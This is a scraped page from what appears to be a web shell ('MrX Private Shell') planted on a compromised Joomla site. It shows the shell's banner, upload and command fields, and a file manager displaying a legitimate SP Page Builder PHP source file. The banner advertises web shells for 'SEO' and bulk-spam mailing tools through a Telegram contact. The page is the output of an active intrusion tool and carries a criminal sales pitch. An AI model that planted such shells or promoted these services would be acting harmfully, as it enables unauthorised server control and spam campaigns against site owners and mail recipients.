__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
* @package SP Page Builder
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2021 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView;

//no direct accees
defined ('_JEXEC') or die ('Restricted access');

require_once JPATH_ROOT . '/administrator/components/com_sppagebuilder/helpers/language.php';

class SppagebuilderViewMedia extends HtmlView {
	public function display( $tpl = null ) {

		$user = Factory::getUser();
		$app  = Factory::getApplication();

		$authorised = $user->authorise('core.edit', 'com_sppagebuilder') || $user->authorise('core.edit.own', 'com_sppagebuilder');
		
		if ($authorised !== true)
		{
			$app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error');
			$app->setHeader('status', 403, true);

			return false;
		}

		$input 			= Factory::getApplication()->input;
		$layout         = $input->get('layout', 'browse', 'STRING');
		$this->date 	= $input->post->get('date', NULL, 'STRING');
		$this->start 	= $input->post->get('start', 0, 'INT');
		$this->search   = $input->post->get('search', NULL, 'STRING');
		$this->limit 	= 18;

		$model 			= $this->getModel();

		if (($layout == 'browse') || ($layout == 'modal'))
		{
			$this->items      = $model->getItems();
			$this->filters    = $model->getDateFilters($this->date, $this->search);
			$this->total      = $model->getTotalMedia($this->date, $this->search);
			$this->categories = $model->getMediaCategories();
		}
		else
		{
			$this->media = $model->getFolders();
		}

		parent::display($tpl);
	}
}

Filemanager

Name Type Size Permission Actions
tmpl Folder 0775
view.html.php File 4.63 KB 0664
view.json.php File 1.62 KB 0664
Filemanager